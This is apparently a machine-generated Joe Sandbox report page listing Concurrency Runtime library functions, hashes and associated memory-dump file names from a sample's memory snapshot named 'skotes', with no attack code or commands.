Associated: 00000007.00000002.2938112171.0000000000E3D000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2938227026.0000000000E3E000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2938281150.0000000000E41000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2938357844.0000000000E43000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2938506637.0000000000E54000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2938671250.0000000000E55000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2938803910.0000000000E5D000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2938948341.0000000000E68000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2939020843.0000000000E82000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2939092962.0000000000E83000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2939137757.0000000000E8B000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2939246725.0000000000E91000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2939295613.0000000000E92000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2939339714.0000000000E94000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2939400944.0000000000E95000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2939587549.0000000000E98000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2939641945.0000000000EA1000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2939677124.0000000000EA3000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2939712190.0000000000EA4000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2939744671.0000000000EA7000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2939776720.0000000000EA8000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2939809538.0000000000EAE000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2939842700.0000000000EB6000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2939874977.0000000000EBA000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2939908670.0000000000EBB000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2939937322.0000000000EBC000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2939969297.0000000000EBD000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2940012428.0000000000EC3000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2940053481.0000000000ED2000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2940084323.0000000000ED3000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2940130746.0000000000EF4000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2940167014.0000000000EF6000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2940167014.0000000000F01000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2940244037.0000000000F30000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2940276672.0000000000F31000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2940310298.0000000000F32000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2940341435.0000000000F37000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2940371200.0000000000F39000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2940399295.0000000000F47000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2940430365.0000000000F48000.00000080.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_c30000_skotes.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: da656784449d5adc02c93d59faa7b3154d4dab0919bee8f7886e1fd2f386a266
Instruction ID: 531d82032b8cd79328832f5f56cc437bbdd9fd5c9df02d30a44b9e52c1cd0cc7
Opcode Fuzzy Hash: da656784449d5adc02c93d59faa7b3154d4dab0919bee8f7886e1fd2f386a266
Instruction Fuzzy Hash: 3951C0B2E11606CBEB25CF58D8987AEB7F1FB48310F24856AC416EB250D334AA00CF50

Function 00C626D1 Relevance: 22.7, APIs: 15, Instructions: 231COMMON

Download Yara Rule

APIs

Concurrency::details::WorkSearchContext::PreSearch.LIBCONCRT ref: 00C626E3

Part of subcall function 00C624E1: Concurrency::details::WorkItem::WorkItem.LIBCMT ref: 00C62504

Concurrency::details::SchedulerBase::PeriodicScan.LIBCONCRT ref: 00C62704
Concurrency::details::WorkSearchContext::CheckPriorityList.LIBCONCRT ref: 00C62711
Concurrency::details::SchedulerBase::GetNextPriorityObject.LIBCMT ref: 00C6275F
Concurrency::details::SchedulerBase::AcquireQuickCacheSlot.LIBCMT ref: 00C627E6
Concurrency::details::WorkSearchContext::QuickSearch.LIBCMT ref: 00C627F9
Concurrency::details::WorkSearchContext::SearchCacheLocal_Runnables.LIBCONCRT ref: 00C62846

Memory Dump Source

Source File: 00000007.00000002.2936711827.0000000000C31000.00000040.00000001.01000000.0000000B.sdmp, Offset: 00C30000, based on PE: true

Associated: 00000007.00000002.2936634897.0000000000C30000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2936711827.0000000000C92000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2936907164.0000000000C99000.00000008.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2936960145.0000000000C9B000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2937027905.0000000000CA7000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2937326480.0000000000DFF000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2937399774.0000000000E01000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2937465860.0000000000E16000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2937536829.0000000000E17000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2937614490.0000000000E1A000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2937614490.0000000000E21000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2937833085.0000000000E2D000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2937909965.0000000000E2E000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2937993141.0000000000E35000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2938063995.0000000000E36000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2938112171.0000000000E3D000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2938227026.0000000000E3E000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2938281150.0000000000E41000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2938357844.0000000000E43000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2938506637.0000000000E54000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2938671250.0000000000E55000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2938803910.0000000000E5D000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2938948341.0000000000E68000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2939020843.0000000000E82000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2939092962.0000000000E83000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2939137757.0000000000E8B000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2939246725.0000000000E91000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2939295613.0000000000E92000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2939339714.0000000000E94000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2939400944.0000000000E95000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2939587549.0000000000E98000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2939641945.0000000000EA1000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2939677124.0000000000EA3000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2939712190.0000000000EA4000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2939744671.0000000000EA7000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2939776720.0000000000EA8000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2939809538.0000000000EAE000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2939842700.0000000000EB6000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2939874977.0000000000EBA000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2939908670.0000000000EBB000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2939937322.0000000000EBC000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2939969297.0000000000EBD000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2940012428.0000000000EC3000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2940053481.0000000000ED2000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2940084323.0000000000ED3000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2940130746.0000000000EF4000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2940167014.0000000000EF6000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2940167014.0000000000F01000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2940244037.0000000000F30000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2940276672.0000000000F31000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2940310298.0000000000F32000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2940341435.0000000000F37000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2940371200.0000000000F39000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2940399295.0000000000F47000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2940430365.0000000000F48000.00000080.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_c30000_skotes.jbxd

Yara matches

Similarity

API ID: Concurrency::details::$Search$Work$Context::$Base::Scheduler$CachePriorityQuick$AcquireCheckItemItem::ListLocal_NextObjectPeriodicRunnablesScanSlot
String ID:
API String ID: 2530155754-0
Opcode ID: 4b7f7aa588b85588bfd1c62936e88b957bb8607d3454fb7dec21e20f0cf0235d
Instruction ID: e2d33f124c6e0ff6a5f004dc8b15200251eae318c8a8c15db37e30a17f66023b
Opcode Fuzzy Hash: 4b7f7aa588b85588bfd1c62936e88b957bb8607d3454fb7dec21e20f0cf0235d
Instruction Fuzzy Hash: 2081C035900649AFDF269F94C9D1BFE7BB2AF45304F044098EC513B292C7328E55EB61

Function 00C62970 Relevance: 16.7, APIs: 11, Instructions: 222COMMON

Download Yara Rule

APIs

Concurrency::details::WorkSearchContext::PreSearch.LIBCONCRT ref: 00C62982

Part of subcall function 00C624E1: Concurrency::details::WorkItem::WorkItem.LIBCMT ref: 00C62504

Concurrency::details::SchedulerBase::PeriodicScan.LIBCONCRT ref: 00C629A3
Concurrency::details::WorkSearchContext::CheckPriorityList.LIBCONCRT ref: 00C629B0
Concurrency::details::SchedulerBase::GetNextPriorityObject.LIBCMT ref: 00C629FE
Concurrency::details::WorkSearchContext::SearchCacheLocal_Unrealized.LIBCONCRT ref: 00C62AA6
Concurrency::details::WorkSearchContext::SearchCacheLocal_Realized.LIBCONCRT ref: 00C62AD8

Memory Dump Source

Source File: 00000007.00000002.2936711827.0000000000C31000.00000040.00000001.01000000.0000000B.sdmp, Offset: 00C30000, based on PE: true

Associated: 00000007.00000002.2936634897.0000000000C30000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2936711827.0000000000C92000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2936907164.0000000000C99000.00000008.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2936960145.0000000000C9B000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2937027905.0000000000CA7000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2937326480.0000000000DFF000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2937399774.0000000000E01000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2937465860.0000000000E16000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2937536829.0000000000E17000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2937614490.0000000000E1A000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2937614490.0000000000E21000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2937833085.0000000000E2D000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2937909965.0000000000E2E000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2937993141.0000000000E35000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2938063995.0000000000E36000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2938112171.0000000000E3D000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2938227026.0000000000E3E000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2938281150.0000000000E41000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2938357844.0000000000E43000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2938506637.0000000000E54000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2938671250.0000000000E55000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2938803910.0000000000E5D000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2938948341.0000000000E68000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2939020843.0000000000E82000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2939092962.0000000000E83000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2939137757.0000000000E8B000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2939246725.0000000000E91000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2939295613.0000000000E92000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2939339714.0000000000E94000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2939400944.0000000000E95000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2939587549.0000000000E98000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2939641945.0000000000EA1000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2939677124.0000000000EA3000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2939712190.0000000000EA4000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2939744671.0000000000EA7000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2939776720.0000000000EA8000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2939809538.0000000000EAE000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2939842700.0000000000EB6000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2939874977.0000000000EBA000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2939908670.0000000000EBB000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2939937322.0000000000EBC000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2939969297.0000000000EBD000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2940012428.0000000000EC3000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2940053481.0000000000ED2000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2940084323.0000000000ED3000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2940130746.0000000000EF4000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2940167014.0000000000EF6000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2940167014.0000000000F01000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2940244037.0000000000F30000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2940276672.0000000000F31000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2940310298.0000000000F32000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2940341435.0000000000F37000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2940371200.0000000000F39000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2940399295.0000000000F47000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2940430365.0000000000F48000.00000080.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_c30000_skotes.jbxd

Yara matches

Similarity

API ID: Concurrency::details::Search$Work$Context::$Base::CacheLocal_PriorityScheduler$CheckItemItem::ListNextObjectPeriodicRealizedScanUnrealized
String ID:
API String ID: 1256429809-0
Opcode ID: f175d9cad3b06c16c11cccbc737c15b4cc01b9c92325664f4ca36209b0a24f8d
Instruction ID: e394cb2e4996e9bf666ccab320f8750062f44a04e07870d2a04ebd3f4773fb6e
Opcode Fuzzy Hash: f175d9cad3b06c16c11cccbc737c15b4cc01b9c92325664f4ca36209b0a24f8d
Instruction Fuzzy Hash: 7171AC30900649AFDF25CF94C9D1BBEBBB2EF85304F044098EC526B292C7719E16EB61

Function 00C52832 Relevance: 15.2, APIs: 10, Instructions: 223COMMONLIBRARYCODE

Download Yara Rule

APIs

Concurrency::details::ResourceManager::GetTopologyInformation.LIBCONCRT ref: 00C52876
Concurrency::details::ResourceManager::ApplyAffinityRestrictions.LIBCMT ref: 00C528DF
Concurrency::details::ResourceManager::ApplyAffinityRestrictions.LIBCMT ref: 00C52913

Part of subcall function 00C507ED: Concurrency::details::ResourceManager::AffinityRestriction::ApplyAffinityLimits.LIBCMT ref: 00C5080D

Concurrency::details::ResourceManager::GetTopologyInformation.LIBCONCRT ref: 00C52993
Concurrency::details::ResourceManager::ApplyAffinityRestrictions.LIBCONCRT ref: 00C529DB

Part of subcall function 00C507C2: Concurrency::details::ResourceManager::ApplyAffinityRestrictions.LIBCMT ref: 00C507DE

Concurrency::details::ResourceManager::ApplyAffinityRestrictions.LIBCONCRT ref: 00C529EF
Concurrency::details::ResourceManager::ApplyAffinityRestrictions.LIBCONCRT ref: 00C52A00
Concurrency::details::ResourceManager::CleanupTopologyInformation.LIBCMT ref: 00C52A4D
Concurrency::details::ResourceManager::AffinityRestriction::FindGroupAffinity.LIBCONCRT ref: 00C52A7E

Memory Dump Source

Source File: 00000007.00000002.2936711827.0000000000C31000.00000040.00000001.01000000.0000000B.sdmp, Offset: 00C30000, based on PE: true

Associated: 00000007.00000002.2936634897.0000000000C30000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2936711827.0000000000C92000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2936907164.0000000000C99000.00000008.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2936960145.0000000000C9B000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2937027905.0000000000CA7000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2937326480.0000000000DFF000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2937399774.0000000000E01000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2937465860.0000000000E16000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2937536829.0000000000E17000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2937614490.0000000000E1A000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2937614490.0000000000E21000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2937833085.0000000000E2D000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2937909965.0000000000E2E000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2937993141.0000000000E35000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2938063995.0000000000E36000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2938112171.0000000000E3D000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2938227026.0000000000E3E000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2938281150.0000000000E41000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2938357844.0000000000E43000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2938506637.0000000000E54000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2938671250.0000000000E55000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2938803910.0000000000E5D000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2938948341.0000000000E68000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2939020843.0000000000E82000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2939092962.0000000000E83000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2939137757.0000000000E8B000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2939246725.0000000000E91000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2939295613.0000000000E92000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2939339714.0000000000E94000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2939400944.0000000000E95000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2939587549.0000000000E98000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2939641945.0000000000EA1000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2939677124.0000000000EA3000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2939712190.0000000000EA4000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2939744671.0000000000EA7000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2939776720.0000000000EA8000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2939809538.0000000000EAE000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2939842700.0000000000EB6000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2939874977.0000000000EBA000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2939908670.0000000000EBB000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2939937322.0000000000EBC000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2939969297.0000000000EBD000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2940012428.0000000000EC3000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2940053481.0000000000ED2000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2940084323.0000000000ED3000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2940130746.0000000000EF4000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2940167014.0000000000EF6000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2940167014.0000000000F01000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2940244037.0000000000F30000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2940276672.0000000000F31000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2940310298.0000000000F32000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2940341435.0000000000F37000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2940371200.0000000000F39000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2940399295.0000000000F47000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2940430365.0000000000F48000.00000080.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_c30000_skotes.jbxd

Yara matches

Similarity

API ID: Concurrency::details::Manager::Resource$Affinity$Apply$Restrictions$InformationTopology$Restriction::$CleanupFindGroupLimits
String ID:
API String ID: 1321587334-0
Opcode ID: 42be8e836bd271bc55c4a5a9ee2c19cdf81fd9f7d494addaed2a39c5610daa6d
Instruction ID: 44395935338969622094e63520ef9fe4e60a8f15c9b912ee7411b284ff3ccb6f
Opcode Fuzzy Hash: 42be8e836bd271bc55c4a5a9ee2c19cdf81fd9f7d494addaed2a39c5610daa6d
Instruction Fuzzy Hash: 1C81D239A016568BCB19CFA8D8946ADB7F1BF5A302B24402ED841E3351D7306EC9DB98

Function 00C569DA Relevance: 15.1, APIs: 10, Instructions: 144COMMONLIBRARYCODE

Download Yara Rule

APIs

Concurrency::details::_ReaderWriterLock::_AcquireWrite.LIBCONCRT ref: 00C56A1F
Concurrency::details::SchedulingRing::FindScheduleGroupSegment.LIBCMT ref: 00C56A51
List.LIBCONCRT ref: 00C56A8C
Concurrency::details::SchedulingRing::GetNextScheduleGroupSegment.LIBCMT ref: 00C56A9D
Concurrency::details::SchedulingRing::FindScheduleGroupSegment.LIBCMT ref: 00C56AB9
List.LIBCONCRT ref: 00C56AF4
Concurrency::details::SchedulingRing::GetNextScheduleGroupSegment.LIBCMT ref: 00C56B05
Concurrency::details::SchedulingNode::FindVirtualProcessor.LIBCMT ref: 00C56B20
List.LIBCONCRT ref: 00C56B5B
Concurrency::details::SchedulingNode::GetNextVirtualProcessor.LIBCMT ref: 00C56B68

Part of subcall function 00C55EDF: Concurrency::details::SchedulingNode::FindVirtualProcessor.LIBCMT ref: 00C55EF7
Part of subcall function 00C55EDF: Concurrency::details::SchedulingNode::FindVirtualProcessor.LIBCMT ref: 00C55F09

Memory Dump Source

Source File: 00000007.00000002.2936711827.0000000000C31000.00000040.00000001.01000000.0000000B.sdmp, Offset: 00C30000, based on PE: true

Associated: 00000007.00000002.2936634897.0000000000C30000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2936711827.0000000000C92000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2936907164.0000000000C99000.00000008.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2936960145.0000000000C9B000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2937027905.0000000000CA7000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2937326480.0000000000DFF000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2937399774.0000000000E01000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2937465860.0000000000E16000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2937536829.0000000000E17000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2937614490.0000000000E1A000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2937614490.0000000000E21000.00000040.00000001.01000000.0000000B.sdmpDownload File
